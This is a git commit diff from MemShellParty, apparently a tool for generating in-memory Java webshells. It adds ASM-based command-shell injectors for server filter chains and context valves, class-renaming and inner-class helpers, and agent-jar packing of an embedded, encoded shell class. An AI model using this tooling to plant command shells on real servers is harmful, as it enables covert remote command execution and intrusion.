mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support command agent with asm on filterChain and contextValve (#51)
This commit is contained in:
@@ -5,6 +5,7 @@ plugins {
|
|||||||
dependencies {
|
dependencies {
|
||||||
constraints {
|
constraints {
|
||||||
api 'net.bytebuddy:byte-buddy:1.+'
|
api 'net.bytebuddy:byte-buddy:1.+'
|
||||||
|
api 'org.ow2.asm:asm-commons:9.7.1'
|
||||||
|
|
||||||
api 'javax.servlet:javax.servlet-api:3.0.1'
|
api 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
||||||
|
|||||||
@@ -0,0 +1,70 @@
|
|||||||
|
package com.reajason.javaweb.asm;
|
||||||
|
|
||||||
|
import lombok.Getter;
|
||||||
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Set;
|
||||||
|
|
||||||
|
public class InnerClassDiscovery {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discovers all inner classes for a given class
|
||||||
|
*
|
||||||
|
* @param originalClass The class to discover inner classes for
|
||||||
|
* @return A set of fully qualified inner class names
|
||||||
|
*/
|
||||||
|
public static Set<String> findAllInnerClasses(Class<?> originalClass) throws IOException {
|
||||||
|
Set<String> innerClasses;
|
||||||
|
String resourceName = originalClass.getName().replace('.', '/') + ".class";
|
||||||
|
try (InputStream is = originalClass.getClassLoader().getResourceAsStream(resourceName)) {
|
||||||
|
if (is == null) {
|
||||||
|
throw new IOException("Could not find class file for " + originalClass.getName());
|
||||||
|
}
|
||||||
|
|
||||||
|
ClassReader reader = new ClassReader(is);
|
||||||
|
InnerClassCollector collector = new InnerClassCollector(originalClass.getName());
|
||||||
|
reader.accept(collector, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
|
||||||
|
|
||||||
|
innerClasses = new HashSet<>(collector.getInnerClasses());
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
for (Class<?> innerClass : originalClass.getDeclaredClasses()) {
|
||||||
|
innerClasses.add(innerClass.getName());
|
||||||
|
innerClasses.addAll(findAllInnerClasses(innerClass));
|
||||||
|
}
|
||||||
|
} catch (SecurityException ignored) {
|
||||||
|
}
|
||||||
|
|
||||||
|
return innerClasses;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static class InnerClassCollector extends ClassVisitor {
|
||||||
|
private final String originalClassName;
|
||||||
|
@Getter
|
||||||
|
private final Set<String> innerClasses = new HashSet<>();
|
||||||
|
|
||||||
|
public InnerClassCollector(String originalClassName) {
|
||||||
|
super(Opcodes.ASM9);
|
||||||
|
this.originalClassName = originalClassName.replace('/', '.');
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitInnerClass(String name, String outerName, String innerName, int access) {
|
||||||
|
String className = name.replace('/', '.');
|
||||||
|
if (outerName != null) {
|
||||||
|
String outerClassName = outerName.replace('/', '.');
|
||||||
|
if (outerClassName.equals(originalClassName)) {
|
||||||
|
innerClasses.add(className);
|
||||||
|
}
|
||||||
|
} else if (className.startsWith(originalClassName + "$")) {
|
||||||
|
innerClasses.add(className);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
package com.reajason.javaweb.buddy;
|
||||||
|
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.description.field.FieldDescription;
|
||||||
|
import net.bytebuddy.description.field.FieldList;
|
||||||
|
import net.bytebuddy.description.method.MethodList;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.implementation.Implementation;
|
||||||
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||||
|
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||||
|
import net.bytebuddy.pool.TypePool;
|
||||||
|
import org.jetbrains.annotations.NotNull;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/3/27
|
||||||
|
*/
|
||||||
|
public class ClassRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||||
|
public final String originalClassName;
|
||||||
|
public final String newClassName;
|
||||||
|
|
||||||
|
public ClassRenameVisitorWrapper(String originalClassName, String newClassName) {
|
||||||
|
this.originalClassName = originalClassName.replace('.', '/');
|
||||||
|
this.newClassName = newClassName.replace('.', '/');
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public int mergeReader(int flags) {
|
||||||
|
return flags;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public int mergeWriter(int flags) {
|
||||||
|
return flags;
|
||||||
|
}
|
||||||
|
|
||||||
|
@NotNull
|
||||||
|
@Override
|
||||||
|
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||||
|
@NotNull ClassVisitor classVisitor,
|
||||||
|
@NotNull Implementation.Context implementationContext,
|
||||||
|
@NotNull TypePool typePool,
|
||||||
|
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
|
||||||
|
@NotNull MethodList<?> methods,
|
||||||
|
int writerFlags,
|
||||||
|
int readerFlags) {
|
||||||
|
return new ClassRemapper(
|
||||||
|
classVisitor,
|
||||||
|
new Remapper() {
|
||||||
|
@Override
|
||||||
|
public String map(String typeName) {
|
||||||
|
if (typeName.startsWith(originalClassName)) {
|
||||||
|
return typeName.replaceFirst(originalClassName, newClassName);
|
||||||
|
} else {
|
||||||
|
return typeName;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -24,6 +24,7 @@ dependencies {
|
|||||||
implementation project(":memshell")
|
implementation project(":memshell")
|
||||||
implementation project(":memshell-java8")
|
implementation project(":memshell-java8")
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
implementation 'org.ow2.asm:asm-commons'
|
||||||
|
|
||||||
implementation 'javax.servlet:javax.servlet-api'
|
implementation 'javax.servlet:javax.servlet-api'
|
||||||
implementation 'javax.websocket:javax.websocket-api'
|
implementation 'javax.websocket:javax.websocket-api'
|
||||||
|
|||||||
@@ -7,6 +7,8 @@ import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
@@ -48,7 +50,9 @@ public class MemShellGenerator {
|
|||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
injectorConfig.setShellClassBytes(shellBytes);
|
injectorConfig.setShellClassBytes(shellBytes);
|
||||||
|
|
||||||
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
|
|
||||||
return GenerateResult.builder()
|
return GenerateResult.builder()
|
||||||
.shellConfig(shellConfig)
|
.shellConfig(shellConfig)
|
||||||
@@ -58,6 +62,7 @@ public class MemShellGenerator {
|
|||||||
.shellBytes(shellBytes)
|
.shellBytes(shellBytes)
|
||||||
.injectorClassName(injectorConfig.getInjectorClassName())
|
.injectorClassName(injectorConfig.getInjectorClassName())
|
||||||
.injectorBytes(injectorBytes)
|
.injectorBytes(injectorBytes)
|
||||||
|
.injectorInnerClassBytes(innerClassBytes)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -227,7 +227,9 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
||||||
|
|||||||
@@ -21,7 +21,9 @@ public class ShellType {
|
|||||||
public static final String AGENT = "Agent";
|
public static final String AGENT = "Agent";
|
||||||
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
|
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChainASM";
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
|
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValveASM";
|
||||||
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
|
|||||||
@@ -6,6 +6,8 @@ import lombok.Data;
|
|||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
@@ -21,6 +23,7 @@ public class GenerateResult {
|
|||||||
private String shellBytesBase64Str;
|
private String shellBytesBase64Str;
|
||||||
private String injectorClassName;
|
private String injectorClassName;
|
||||||
private transient byte[] injectorBytes;
|
private transient byte[] injectorBytes;
|
||||||
|
private transient Map<String, byte[]> injectorInnerClassBytes;
|
||||||
private long injectorSize;
|
private long injectorSize;
|
||||||
private String injectorBytesBase64Str;
|
private String injectorBytesBase64Str;
|
||||||
private ShellConfig shellConfig;
|
private ShellConfig shellConfig;
|
||||||
@@ -38,7 +41,7 @@ public class GenerateResult {
|
|||||||
injectorSize = injectorBytes.length;
|
injectorSize = injectorBytes.length;
|
||||||
}
|
}
|
||||||
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||||
injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+43
-6
@@ -1,20 +1,22 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.*;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
|
import net.bytebuddy.dynamic.ClassFileLocator;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.dynamic.scaffold.TypeValidation;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
import net.bytebuddy.pool.TypePool;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
import java.util.Objects;
|
import java.util.*;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -34,10 +36,13 @@ public class InjectorGenerator {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
|
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
|
||||||
|
String originalClassName = injectorConfig.getInjectorClass().getName();
|
||||||
|
String newClassName = injectorConfig.getInjectorClassName();
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(injectorConfig.getInjectorClass())
|
.redefine(injectorConfig.getInjectorClass())
|
||||||
.name(injectorConfig.getInjectorClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
|
.visit(new ClassRenameVisitorWrapper(originalClassName, newClassName))
|
||||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
|
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
|
||||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
@@ -56,6 +61,38 @@ public class InjectorGenerator {
|
|||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public Map<String, byte[]> getInnerClassBytes() {
|
||||||
|
Set<String> innerClassNames = InnerClassDiscovery.findAllInnerClasses(injectorConfig.getInjectorClass());
|
||||||
|
if (innerClassNames.isEmpty()) {
|
||||||
|
return Collections.emptyMap();
|
||||||
|
}
|
||||||
|
|
||||||
|
String originalClassName = injectorConfig.getInjectorClass().getName();
|
||||||
|
String newClassName = injectorConfig.getInjectorClassName();
|
||||||
|
|
||||||
|
ClassFileLocator classFileLocator = ClassFileLocator.ForClassLoader.of(injectorConfig.getInjectorClass().getClassLoader());
|
||||||
|
TypePool typePool = TypePool.Default.of(classFileLocator);
|
||||||
|
|
||||||
|
Map<String, byte[]> bytes = new HashMap<>();
|
||||||
|
for (String innerClassName : innerClassNames) {
|
||||||
|
TypeDescription innerTypeDesc = typePool.describe(innerClassName).resolve();
|
||||||
|
String newInnerClassName = innerClassName.replace(originalClassName, newClassName);
|
||||||
|
DynamicType.Builder<?> innerBuilder = new ByteBuddy()
|
||||||
|
.with(TypeValidation.DISABLED)
|
||||||
|
.redefine(innerTypeDesc, classFileLocator)
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
|
.visit(new ClassRenameVisitorWrapper(originalClassName, newClassName));
|
||||||
|
|
||||||
|
try (DynamicType.Unloaded<?> unloaded = innerBuilder.make()) {
|
||||||
|
for (Map.Entry<TypeDescription, byte[]> entry : unloaded.getAllTypes().entrySet()) {
|
||||||
|
bytes.put(newInnerClassName, entry.getValue());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public byte[] generate() {
|
public byte[] generate() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
|
|||||||
+13
-1
@@ -4,6 +4,7 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
|
|||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
@@ -13,6 +14,7 @@ import java.net.URL;
|
|||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Path;
|
import java.nio.file.Path;
|
||||||
import java.util.Enumeration;
|
import java.util.Enumeration;
|
||||||
|
import java.util.Map;
|
||||||
import java.util.jar.JarEntry;
|
import java.util.jar.JarEntry;
|
||||||
import java.util.jar.JarFile;
|
import java.util.jar.JarFile;
|
||||||
import java.util.jar.JarOutputStream;
|
import java.util.jar.JarOutputStream;
|
||||||
@@ -40,7 +42,11 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
|
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
|
||||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||||
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
|
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
|
||||||
addDependency(targetJar, ByteBuddy.class);
|
if (generateResult.getShellConfig().getShellType().endsWith("ASM")) {
|
||||||
|
addDependency(targetJar, Opcodes.class);
|
||||||
|
} else {
|
||||||
|
addDependency(targetJar, ByteBuddy.class);
|
||||||
|
}
|
||||||
|
|
||||||
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
|
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
|
||||||
targetJar.write(generateResult.getInjectorBytes());
|
targetJar.write(generateResult.getInjectorBytes());
|
||||||
@@ -49,6 +55,12 @@ public class AgentJarPacker implements JarPacker {
|
|||||||
targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
|
targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
|
||||||
targetJar.write(generateResult.getShellBytes());
|
targetJar.write(generateResult.getShellBytes());
|
||||||
targetJar.closeEntry();
|
targetJar.closeEntry();
|
||||||
|
|
||||||
|
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class"));
|
||||||
|
targetJar.write(entry.getValue());
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return byteArrayOutputStream.toByteArray();
|
return byteArrayOutputStream.toByteArray();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
|||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -49,7 +51,9 @@ public class GlassFishShell extends AbstractShell {
|
|||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjecto
|
|||||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -29,7 +31,9 @@ public class InforSuiteShell extends AbstractShell {
|
|||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -4,7 +4,9 @@ import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
|
|||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
|
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
|
||||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||||
|
|
||||||
@@ -26,7 +28,9 @@ public class JbossShell extends AbstractShell {
|
|||||||
.addInjector(LISTENER, JbossListenerInjector.class)
|
.addInjector(LISTENER, JbossListenerInjector.class)
|
||||||
.addInjector(VALVE, JbossValveInjector.class)
|
.addInjector(VALVE, JbossValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,9 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.server;
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.injector.resin.ResinFilterChainAgentInjector;
|
import com.reajason.javaweb.memshell.injector.resin.*;
|
||||||
import com.reajason.javaweb.memshell.injector.resin.ResinFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.resin.ResinListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.injector.resin.ResinServletInjector;
|
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||||
@@ -35,6 +32,7 @@ public class ResinShell extends AbstractShell {
|
|||||||
.addInjector(FILTER, ResinFilterInjector.class)
|
.addInjector(FILTER, ResinFilterInjector.class)
|
||||||
.addInjector(LISTENER, ResinListenerInjector.class)
|
.addInjector(LISTENER, ResinListenerInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
